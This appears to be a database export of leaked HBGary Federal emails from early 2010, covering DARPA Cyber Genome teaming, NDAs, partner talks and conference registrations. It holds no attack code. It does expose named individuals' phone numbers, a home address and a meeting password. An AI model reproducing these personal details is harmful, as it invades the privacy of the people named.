<brian@netwitness.com>,\"Brian Girardi\" <brian@netwitness.com>','Re: NetWitness side of things','Brian,Thanks. &nbsp;I am glad you are on board. &nbsp;All good comments and I agree with your initial assessment. &nbsp;We will take it as it comes and figure out the best way for all parties willing to participate. &nbsp;It is the right thing to do and I think also a productive thing to do for all involved. &nbsp;This is more clear if you have listened and understand what requirements the government elements are looking to meet.Right now there are a few opportunities directly in front of us. &nbsp;Not sure if you are aware of the Cyber Genome Project BAA just released by DARPA. &nbsp;If you get a chance to read it I would be interested in hearing your thoughts on what you think Netwitness could bring to the party. &nbsp;There is going to be a significant traffic analytic element to this effort. &nbsp;I also just spoke with a Northrop Account representative for the 624th down in San Antonio that wants to bring on the \"consortium\" to pursue some SOC work. &nbsp;I see the overlap between Netwitness and Splunk but I also see the different ways you both use to to attack information processing and I think both are useful.What is Netwitnesses pricing model? &nbsp;I am in Colorado Springs for the next few days talking with ARSTRAT. &nbsp;I will give you a ring when I get back.AaronOn Jan 29, 2010, at 11:44 AM, Brian Girardi wrote:\r\nAaron, Thanks for pulling us into your effort. &nbsp;From our perspective the problem set identified and target resonates, an approach like this is needed to better position the organizations to build out better knowledge, skillset, tradecraft...etc. &nbsp;&nbsp;Our experience historically within intel and coming from a services organization re-enforces our belief in the need. &nbsp;To this point, its also not a conventional product sale, as some members of the room were hung up on. Unlike, Splunk we don’t need time to evaluate, weve experienced the problem and realize the need. &nbsp;Eager to participate in the solution.\r\n\r\nFrom a product and technical perspective I think Splunk positions its self as the umbrella for all data consumption and searching... which would include NW, HGbary, and other intel data, which also drives their licensing cost. &nbsp;When you put them under the host category they probably felt as if they were in a corner. &nbsp;I think they do risk cannibalizing themselves in some accounts if they don’t position themselves right( at the top), which in my mind may conflict with the objective of the solution.\r\n\r\nI do think more thought needs to go into how the products play together, and position it in a way that minimizes sales impact if the product already exists or not. &nbsp;Tricky. &nbsp;&nbsp;I believe that as our product is used it inherently drives customers to use it more and buy more for coverage. May be the same for Splunk... The issue there is that they are architected in a similar way to NW, further driving confusion on the interaction. Id challenge that shoveling all NW data into Splunk wont scale (contrary to their assertion) and minimize the value of our analytics. &nbsp;For example, at any particular time we may be processing 100,000 meta elements a second — the real-time nature of our system and its index positions itself better as an adjacent system than just a data provider when part of a larger solution. &nbsp;&nbsp;You may find that during integration the profile of the products may change anyway.\r\n\r\nThe missing part to me is the workflow --- which is part services, integration, and product. &nbsp;Clearwell has an interesting case management system you may want to look at, although Palantir may already do some of this.\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you. \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',796,'aaron_hbgary_com/796.html'),(1863,'2010-02-01','\"Greg Hoglund\" <messenger@webex.com>','/aaron@hbgary.com/new/1297000643.M443645P3547Q1863.eml','aaron@hbgary.com','Please join now, meeting in progress: Attribution Glossy HBG Fed','Hello Aaron Barr,   Please join my meeting that is currently in progress.   Topic: Attribution Glossy HBG Fed  Date: Monday, February 1, 2010  Time: 4:54 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 574 906 331  Meeting Password: 123qwe    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=139677632&UID=1117878042&PW=NYTNkYTEwYmIz&RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: 123qwe  4. Click \"Join Now\".  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=139677632&UID=1117878042&PW=NYTNkYTEwYmIz&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=139677632&tollFree=0   Access code:574 906 331   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   greg@hbgary.com    Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',12221,'aaron_hbgary_com/12221.html'),(1864,'2010-02-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000643.M688314P3547Q1864.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: [Fwd: HAP Conference & Exposition]','Can you sign up for this?AaronBegin forwarded message:From: Martin Pillion &lt;martin@hbgary.com&gt;Date: February 1, 2010 11:31:32 AM MSTTo: Vera Ted &lt;tedvera@mac.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;Subject: [Fwd: HAP Conference &amp; Exposition]Not sure if you are on this mail list. &nbsp;It spams me once a week or sowith intel community related things.- MartinFrom: ARC Webmaster &lt;nsaarc@nsaarc.net&gt;Date: February 1, 2010 11:20:43 AM MSTTo: martin@hbgary.comSubject: HAP Conference &amp; ExpositionYou are receiving this notification on behalf of the National Security Agency (NSA) as a result of registering with our Acquisition Resource Center (ARC) at http://www.nsaarc.net Dear Industry Partner, \r\n\r\nThe 2010 HAP Conference and Expo March 16 - 18, 2010\r\nSan Francisco Marriott Marquis\r\nSan Francisco, CA\r\n\r\n\"Security in a Connected World\"\r\nThe HAP Conference and Expo is an exciting opportunity for Federal IT decision makers and technology vendors to learn how the High Assurance Platform® (HAP) initiative is working in collaboration with industry to advance a new cyber security model that will decisively defeat cyber threats while offering knowledge workers and war fighters alike more secure information and trusted access to the data and applications they use every day.\r\n\r\nConference Mission and Objectives:\r\n- Learn how HAP is enabling the transformation of computing - a new approach to cyber security that reliably protects information, networks and applications in a connected world.\r\n- Understand the HAP roadmap, and discover opportunities to help build on and extend this exciting portfolio of Trusted Computing technologies.\r\n- HAP technologies have been deployed in multiple user environments over the past year. Learn how HAP is delivering Secure, Manageable, Sharing, and Multi-form factor solutions in these environments.\r\n- See vendor presentations of HAP-related products and technologies and their progress toward HAP commercialization.\r\n- Network with leading experts, vendors and users of cyber security technologies.\r\n- IT Decision Makers: Learn how you can pilot HAP technologies in your organization, agency or program.\r\n- Technology Vendors: Learn how you can develop and deliver trusted computing-based technologies for the burgeoning cyber security market.\r\n\r\nFor more information about the conference, please visit www.ncsi.com. Registration is now open!\r\n\r\nThis year\'s event, unlike previous Forums, will have an attendance fee. Although we would have liked to continue to host a no-cost conference, it became clear that we needed additional support to ensure that all attendees received value from the HAP Conference and Expo experience.\r\n\r\nConference Fees:\r\n\r\nGovernment Attendees:\r\n$449.00 early registration fee (valid up to six weeks before event begins)\r\n$499.00 regular registration fee\r\n\r\nContractor/Industry Attendees:\r\n$529.00 early registration fee (valid up to six weeks before event begins)\r\n$579.00 regular registration fee\r\n\r\nRegards,\r\n\r\nThe ARC WebmasterThe information contained herein is for the exclusive use of the original recipient. This information is granted for limited distribution within the recipient\'s place of business for planning purposes only. Further dissemination, whether private or public is prohibited. \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13649,'aaron_hbgary_com/13649.html'),(1865,'2010-02-02','\"Joe Sheehan\" <joe.sheehan@oracle.com>','/aaron@hbgary.com/new/1297000643.M919790P3547Q1865.eml','joe.sheehan@oracle.com','Oracle Embedded Contact for USAF-SPACECOM','\r\n\r\n\r\n\r\n\r\n\r\nHello,\r\nI work for Oracle’s, Embedded \r\nGlobal Business Unit on the Aerospace &amp; Defense team. The Oracle Embedded \r\nGlobal Business Unit (EGBU) works with Independent Software Vendors and Original \r\nEquipment Manufacturers, to help design,&nbsp;develop and deploy&nbsp;their products or \r\nsolutions&nbsp;to the&nbsp;USAF.&nbsp;The Oracle EGBU team is&nbsp;100% partner \r\nfocused.\r\n&nbsp;\r\n&nbsp;These solutions could include Hardware \r\ndevice embedding, ISV Applications embedding and Systems embedding. It also may \r\ninclude mobile devices and unmanned vehicles. We focus on repeatable solutions \r\nfor your company to provide to the USAF.\r\n&nbsp;\r\nI would be interested in a brief \r\nintroduction and conversation if you have time to discuss the Air Force \r\nprograms. \r\n&nbsp;\r\nPlease feel free to contact me \r\ndirectly for more information, at Joe.Sheehan@oracle.com. Or send me an email with a time I \r\ncould reach you.\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\nJoe\r\n&nbsp;\r\nJoe Sheehan| \r\n\r\nPhone: \r\n781-744-0617|Cell: 617-851-0093Oracle Aerospace &amp; \r\nDefense\r\nEGBU- Embedded Global \r\nBusiness Unit, \r\nNorth \r\nAmerica10 Van de Graff| Burlington, MA&nbsp;01803 \r\n&nbsp;\r\n',16425,'aaron_hbgary_com/16425.html'),(1866,'2010-02-02','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000644.M191770P3547Q1866.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Invitation: (No Subject) @ Mon Feb 8 6pm - 8pm (aaron@hbgary.com)',' more details &raquo;(No Subject)Meetign with Fidelis to discuss partnershipWhenMon Feb 8 6pm – 8pm Eastern TimeWhereFidelis/Bethesda (map)Calendaraaron@hbgary.comWho&#x2022;Penny Leavy - organizer&#x2022;Aaron Barr&#x2022;Rich CummingsGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',9463,'aaron_hbgary_com/9463.html'),(1867,'2010-02-02','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000646.M226778P3547Q1867.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: concept one-page glossy describing total capability for 	attribution','I was thinking about in consulting how we&#39;d present an offering with a single &quot;placemat&quot; style slick.  It would highlight the major areas of interest and a process flow.  I tried to take out evidence of who this placemat was made for but you get the idea :)  Anyway see the attached pptx for an idea.\r\nOn Mon, Feb 1, 2010 at 3:28 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nThis is a concept work I made this morning.  We can have our graphic designer do a proper job on it, but I want something that can accurately describe the offering when you go to DARPA.\r\n \r\n-Greg\r\n \r\nps. I am going over this with Aaron at 2PM PST.  Feel free to join webex if you want to contribute.\r\n \r\n \r\n\r\n',14162,'aaron_hbgary_com/14162.html'),(1868,'2010-02-02','\"Warden, Kathy J (IS)\" <Kathy.Warden@ngc.com>','/aaron@hbgary.com/new/1297000646.M450066P3547Q1868.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA Opportunity and others','Aaron,\r\n\r\nGive me a call and we can discuss. I just got back from the UK and will\r\nbe in the DC area all week.  I do have an off-site on Weds/Thurs so it\r\nis best to reach me Tuesday or Friday of this week.  Cell is best way to\r\nreach me - 571-294-8303.\r\n\r\nKathy\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 9:45 AM\r\nTo: Warden, Kathy J (IS)\r\nSubject: DARPA Opportunity and others\r\n\r\nHi Kathy,\r\n\r\nI was wondering if I could fit into your schedule to discuss some\r\nopportunities, one of which is the recently posted DARPA Malware Genome\r\nProject.  HBGary has an existing malware genome and associated Digital\r\nDNA(tm)  product (a host agent) that is 75% effective against detecting\r\nzero day attacks.   As far as we know we currently have one of the only\r\nmature capabilities in this area.\r\n\r\nI have a few other opportunities I would like to discuss with you as\r\nwell.  I would have reached out to Chris directly, but thought it was\r\nbest if I talk with you first.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10242,'aaron_hbgary_com/10242.html'),(1869,'2010-02-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000646.M713334P3547Q1869.eml','\"Copeland, Johna Y (TASC Inc)\" <Johna.Copeland@tasc.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Resume','Hi Johna,\r\n\r\nLast we spoke I thought we said 3pm tomorrow for the meeting with\r\nHBGary Federal and Dan G. I was at dinner tonight with David Lirette\r\nand he said he thought it was at 4.  Can you please confirm the time?\r\n\r\nThanks,\r\nTed\r\n',15859,'aaron_hbgary_com/15859.html'),(1870,'2010-02-02','rich@hbgary.com','/aaron@hbgary.com/new/1297000646.M968147P3547Q1870.eml','\"Aaron Barr\" <aaron@hbgary.com>,greg@hbgary.com','Fw: Google Alert - bank hacked','See the first link below.  An interview with chinese actor, maybe someone to add to social network db.  Sent from my Verizon Wireless BlackBerryFrom:  Google Alerts &lt;googlealerts-noreply@google.com&gt;\r\nDate: Tue, 02 Feb 2010 11:08:47 +0000To: &lt;rich@hbgary.com&gt;Subject: Google Alert - bank hacked\r\nGoogle Blogs Alert for: bank hacked\r\n\r\n\r\nMy Right Word: So, Exactly, What Do Hackers Do?\r\n\r\nBy YMedad\r\n\r\n[Majia] showed how he hacked into the Web site of a Chinese company. Once the Web site popped up on his screen, he created additional pages and typed the word “hacked” onto one of them...He is consumed by the challenges it presents. ... But\r\nhe does admit to selling malicious code to others; and boasts of being able to tap into people&#39;s bank accounts by remotely operating their computers. ...Scott J. Henderson, author of “The Dark Visitor: Inside the World of Chinese ...\r\n\r\n\r\nMy Right Word - http://myrightword.blogspot.com/\r\n\r\n\r\nHacking for Fun and Profit in China&#39;s Underworld « Wandering China\r\n\r\nBy wanderingchina\r\n\r\nHe met a journalist at a cafe one night just over a week ago, and then invited him to his home, where he showed how he hacked into the Web site of a Chinese company. Once the Web site popped up on his screen, he created additional pages ...\r\nBut he does admit to selling malicious code to others; and boasts of being able to tap into people&#39;s bank accounts by remotely operating their computers. Financial incentives motivate many young Chinese hackers like Majia, experts say. ...\r\n\r\n\r\nWandering China - http://wanderingchina.wordpress.com/\r\n\r\n\r\nDocudharma:: Docudharma Times Monday February 1\r\n\r\nBy mishima\r\n\r\n&#39;Climate emails hacked by spies&#39; $100 Billion Increase in Deficit Is Forecast Silverdome&#39;s bargain price reflects financial woes in Detroit suburb of Pontiac Mahmoud Abbas: Israel&#39;s West Bank occupation leading to one-state solution ...\r\n\r\n\r\nDocudharma - Front Page - http://www.docudharma.com/\r\n\r\n\r\nOpen Season on Switzerland. - The London Irvine Report\r\n\r\nBy Graeme Irvine\r\n\r\nThe Swiss case involves files on Swiss bank accounts held by German nationals which may enable the government to recoup as much as 200 million euros ($277 million) in lost tax revenue, newspapers including Handelsblatt reported late\r\nyesterday. ..... It also further calls into question the integrity of the scientist at the centre of the scandal over hacked climate emails, the director of the University of East Anglia&#39;s Climatic Research Unit (CRU), Dr Phil Jones. ...\r\n\r\n\r\nThe London Irvine Report - http://irblog.blogs.com/london_irvine_report/\r\nTip: Use a plus sign (+) to match a term in your query exactly as is. Learn more. \r\nRemove this alert.\r\n Create another alert.\r\nManage your alerts.\r\n\r\n',9778,'aaron_hbgary_com/9778.html'),(1871,'2010-02-02','\"Mike Junod\" <mjunod@atl.lmco.com>','/aaron@hbgary.com/new/1297000647.M327095P3547Q1871.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Cyber Genome Teaming','Aaron,\r\n\r\nAs we discussed at the Cyber Genome Industry Day last Friday, I would  \r\nlike to execute an NDA between our organizations so we can have  \r\ntechnical teaming discussions. Are you still interested in talking?\r\n\r\nIf so, I\'ve copied Dan Miksch from ATL on this email who handles our  \r\nProprietary Information Agreements. He can send you our agreement for  \r\nreview.\r\n\r\nI would like to move quickly as the clock is running.\r\n\r\n\r\n\r\nMike Junod\r\nManager, Advanced Concepts Laboratory\r\n\r\n   Lockheed Martin\r\n   Advanced Technology Laboratories (ATL)\r\n   3 Executive Campus, Suite 600\r\n   Cherry Hill, NJ 08002\r\n\r\n   Email: mjunod@atl.lmco.com\r\n   Voice: (856) 792-9768\r\n   Mobile: (215) 519-4253\r\n\r\n\r\n\r\n',14302,'aaron_hbgary_com/14302.html'),(1872,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000647.M607537P3547Q1872.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Aurora stuff','Sure thing. &nbsp;I am working on getting a few names to put in class.Any data you have on Aurora and GhostNet will be helpful. &nbsp;Greg has all the malware for ghostnet and will be picking it apart for analysis. &nbsp;We are not sure right now if we actually have a copy of Aurora Malware or a copy cat. &nbsp;The Actual Aurora operations went only from Dec.25 - Jan. 4, most of the malware deleted itself. &nbsp;Regardless any information on either of these operations would be helpful to our report.AaronOn Jan 29, 2010, at 3:32 PM, Matthew Steckman wrote:Aaron,&nbsp;We’d certainly like to look at the Aurora write up Greg is doing before it’s published anywhere.&nbsp; Also, if he could use any help just let me know. &nbsp;I have a cyber specific ontology laying around somewhere that I could send over to him if that might help.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10711,'aaron_hbgary_com/10711.html'),(1873,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000647.M869158P3547Q1873.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Aurora stuff','hmmm... ok. &nbsp;I am in Colorado Springs talking to ARSTRAT and some folks about the AF, when I get back I will give you call.AaronOn Jan 29, 2010, at 4:12 PM, Matthew Steckman wrote:\r\nYes, palantir doesn\'t like vms, although you should still be able to connect to a qs through one. Sync up later on all this. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Matthew Steckman\r\nSent: Fri Jan 29 14:55:31 2010Subject: Re: Aurora stuff\r\n\r\nWill do. &nbsp;Any help would be appreciated. &nbsp;Greg commented he was having some struggles not being familiar with the Palantir interface. &nbsp;He was trying to import code objects or something like that. &nbsp;Anyway some training and anything else will help. &nbsp;We have a guy Sean Bracken, he is the B in HBGary, brilliant malware developer and analyst. &nbsp;I think he is going to be charging up a lot of this work. &nbsp;Greg is really getting excited about what can be done, the reports will go a long way to selling the capabilities and what can be done between HBGary and Palantir. &nbsp;We are definately going to be putting people through the classes coming up.Also on a personal note...any known issues running Palantir in a VM? &nbsp;I installed it yesterday and couldn\'t connect to server. &nbsp;I will do some reading this weekend.AaronOn Jan 29, 2010, at 5:32 PM, Matthew Steckman wrote:Aaron,&nbsp;We’d certainly like to look at the Aurora write up Greg is doing before it’s published anywhere.&nbsp; Also, if he could use any help just let me know. &nbsp;I have a cyber specific ontology laying around somewhere that I could send over to him if that might help.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4015,'aaron_hbgary_com/4015.html'),(1874,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000648.M122611P3547Q1874.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Cyber Genome Teaming','I want to talk to you about these. &nbsp;I don\'t want to get us in hot water. &nbsp;So NDA with GD, Lockheed, Sparta related to this BAA.AaronBegin forwarded message:From: Mike Junod &lt;mjunod@atl.lmco.com&gt;Date: February 2, 2010 6:21:02 AM MSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Mike Junod &lt;mjunod@atl.lmco.com&gt;, Dan Miksch &lt;dmiksch@atl.lmco.com&gt;Subject: Cyber Genome TeamingAaron,As we discussed at the Cyber Genome Industry Day last Friday, I would like to execute an NDA between our organizations so we can have technical teaming discussions. Are you still interested in talking?If so, I\'ve copied Dan Miksch from ATL on this email who handles our Proprietary Information Agreements. He can send you our agreement for review.I would like to move quickly as the clock is running.Mike JunodManager, Advanced Concepts Laboratory &nbsp;Lockheed Martin &nbsp;Advanced Technology Laboratories (ATL) &nbsp;3 Executive Campus, Suite 600 &nbsp;Cherry Hill, NJ 08002 &nbsp;Email: mjunod@atl.lmco.com &nbsp;Voice: (856) 792-9768 &nbsp;Mobile: (215) 519-4253\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3868,'aaron_hbgary_com/3868.html'),(1875,'2010-02-02','\"Events\" <Events@onr.navy.mil>','/aaron@hbgary.com/new/1297000648.M350094P3547Q1875.eml','aaron@hbgary.com,aaron@hbgary.com','ONR C&E Confirmation for: Computer Network Defense and Information Assurance (CND/IA) EC Industry Day','You are hereby confirmed for the ONR event referenced below.  Please review the information for accuracy and alert us (events@onr.navy.mil) if there are any changes needed.\r\n\r\nThe following statement only applies IF food and beverage was an option during the registration process.  If it was not an option, please disregard.  ONR will be making the arrangements and a financial commitment on your behalf.  Any changes to your food and beverage options ***MUST*** be received by the registration cut off date.  Please notify the logistical POC.\r\n\r\nOffice of Naval Research, Office of Public Affairs, Conference and Events (C&E)\r\n\r\nTitle:   Computer Network Defense and Information Assurance (CND/IA) EC Industry Day\r\nDate:   10 February 2010\r\nLocation:   Washington, DC\r\n\r\nFull Name:   Barr, Aaron\r\nBadge Name:   Aaron Barr\r\nCIV/MIL RANK:   \r\nOrganization:   HBGary Federal\r\nCitizenship:   Yes\r\nAddress:   1223 Potomac School Rd, Mclean, VA, 22101\r\nPhone:   719.510.8478\r\nCell:   \r\nEmail:   aaron@hbgary.com\r\n\r\nSpecial Needs:   None\r\nEmergency Contact\r\nFull name:    \r\nDay Phone:   \r\nEvening Phone:   \r\n\r\n',5850,'aaron_hbgary_com/5850.html'),(1876,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000648.M555715P3547Q1876.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: ONR C&E Confirmation for: Computer Network Defense and 	Information Assurance (CND/IA) EC Industry Day','From my iPhoneBegin forwarded message:From: &quot;Events&quot; &lt;Events@onr.navy.mil&gt;\r\nDate: February 2, 2010 7:12:37 AM MSTTo: aaron@hbgary.comCc: cindy.barner.ctr@navy.mil\r\nSubject: ONR C&amp;E Confirmation for: Computer Network Defense and Information Assurance (CND/IA) EC Industry DayYou are hereby confirmed for the ONR event referenced below.  Please review the information for accuracy and alert us (events@onr.navy.mil) if there are any changes needed.\r\nThe following statement only applies IF food and beverage was an option during the registration process.  If it was not an option, please disregard.  ONR will be making the arrangements and a financial commitment on your behalf.  Any changes to your food and beverage options ***MUST*** be received by the registration cut off date.  Please notify the logistical POC.\r\nOffice of Naval Research, Office of Public Affairs, Conference and Events (C&amp;E)Title:   Computer Network Defense and Information Assurance (CND/IA) EC Industry Day\r\nDate:   10 February 2010Location:   Washington, DCFull Name:   Barr, AaronBadge Name:   Aaron BarrCIV/MIL RANK:   Organization:   HBGary Federal\r\nCitizenship:   YesAddress:   1223 Potomac School Rd, Mclean, VA, 22101Phone:   719.510.8478Cell:   Email:   aaron@hbgary.com\r\nSpecial Needs:   NoneEmergency ContactFull name:    Day Phone:   Evening Phone:   \r\n',2929,'aaron_hbgary_com/2929.html'),(1877,'2010-02-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000648.M824554P3547Q1877.eml','\"Copeland, Johna Y (TASC Inc)\" <Johna.Copeland@tasc.com>,\"Copeland, Johna Y (TASC Inc)\" <Johna.Copeland@tasc.com>','Re: Resume','Thanks johna, I must have forgot to update my calendar.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Feb 2, 2010, at 7:07 AM, \"Copeland, Johna Y (TASC Inc)\"\r\n wrote:\r\n\r\n> Hi Ted,\r\n> I called you and when we last spoke I mentioned that the time was\r\n> changed to 4pm.  Sorry for the confusion.  Will that still work?\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Monday, February 01, 2010 9:17 PM\r\n> To: Copeland, Johna Y (TASC Inc); Barr Aaron\r\n> Subject: Re: Resume\r\n>\r\n> Hi Johna,\r\n>\r\n> Last we spoke I thought we said 3pm tomorrow for the meeting with\r\n> HBGary Federal and Dan G. I was at dinner tonight with David Lirette\r\n> and he said he thought it was at 4.  Can you please confirm the time?\r\n>\r\n> Thanks,\r\n> Ted\r\n',7858,'aaron_hbgary_com/7858.html'),(1878,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000649.M47373P3547Q1878.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Invitation: (No Subject) @ Mon Feb 8 6pm - 8pm (aaron@hbgary.com)','Is the time right for this is it at 6pm or 1pm? &nbsp;on the calendar it there is an entry for 1pm.AaronOn Feb 1, 2010, at 6:17 PM, Penny Leavy wrote: more details »(No Subject)Meetign with Fidelis to discuss partnershipWhenMon Feb 8 6pm – 8pm Eastern TimeWhereFidelis/Bethesda (map)Calendaraaron@hbgary.comWho•Penny Leavy - organizer•Aaron Barr•Rich CummingsGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options »Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.&lt;Mail Attachment.ics&gt;&lt;invite.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11011,'aaron_hbgary_com/11011.html'),(1879,'2010-02-02','\"Korinok, Andrea (N-ATL)\" <andrea.korinok@lmco.com>','/aaron@hbgary.com/new/1297000649.M667217P3547Q1879.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal  - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nLockheed Martin Proprietary Information\r\nProprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\nI have been asked to prepare the above subject and have attached a copy of our\r\nstandard PIA with the new information shown in red.\r\nPlease supply the following information: \r\n\r\nPage 1, para 1 - Verify/correct company name &amp; address. \r\n\r\nPage 1, para 2 - Verify/insert the technology areas to be protected. \r\n\r\nPage 3, para 7 - Verify/correct company name &amp; address and the Technical\r\nPOC. \r\n\r\nPage 4, last para - Verify/correct company name and insert the name &amp;\r\ntitle of the person who is authorized to sign this agreement. \r\n\r\nPlease return this agreement to me after you have completed this information.\r\nIf you need to make any additional changes to the document, I have turned on\r\nthe Editing/Highlighting tool so that I can see where any changes have been\r\nmade. \r\n\r\nAfter final review, I will issue a PDF copy for your signature, which you can\r\nscan &amp; email or fax back to me at the address/number shown below. After\r\nLM/ATLs countersignature, I will send our fully executed agreement to you via\r\nemail. If you require a pen original, please let me know and I will send our\r\nagreement via an overnight carrier.\r\n\r\nIf you should have any questions or concerns, feel free to contact me. \r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nAndrea\r\nKorinok\r\n\r\nBusiness\r\nOperations &amp;&nbsp;Legal Support Specialist\r\n\r\nLockheed\r\nMartin / Advanced Technology Laboratories\r\n\r\n3\r\nExecutive Campus, Suite 600\r\n\r\nCherry\r\n  Hill, NJ 08002\r\n\r\nPhone:\r\n(856) 792-9707\r\n\r\nFax:\r\n(856) 792-9910\r\n\r\nEmail:\r\nandrea.korinok@lmco.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7146,'aaron_hbgary_com/7146.html'),(1880,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000649.M941253P3547Q1880.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','DARPA BAA','A snapshot of the DARPA Day last week, what to expect next week.  So far those that have contacted us and some of the information from the BAA.\r\n\r\nNo one presented any information.  There was a projector provided.  The briefing times were set to occur while the government folks were in another room doing the 1 on 1 PM discussions.  So Far Sparta, Lockheed, and GD are eager to talk with us.  We have meetings set up with all of them next week.  Shortly after we will need to make our teaming decision as we don\'t have much time to write the proposal.\r\n\r\nThe proposals are due March 15th with an expected award in June.  The total value is $43Million dollars and will be split into 4 technical areas.  Each technical area has to be proposed to separately.  So if we want to go after each area (and we do) then we need 4 separate proposals.  There will be at least an expected award in each area.\r\n\r\nThe areas are:\r\n1. Cyber Genetics - provenance of digital artifacts, behavior, relationships between artifacts, etc.\r\n2. Cyber Anthropology and Sociology - social relationships of artifacts, binaries, users.  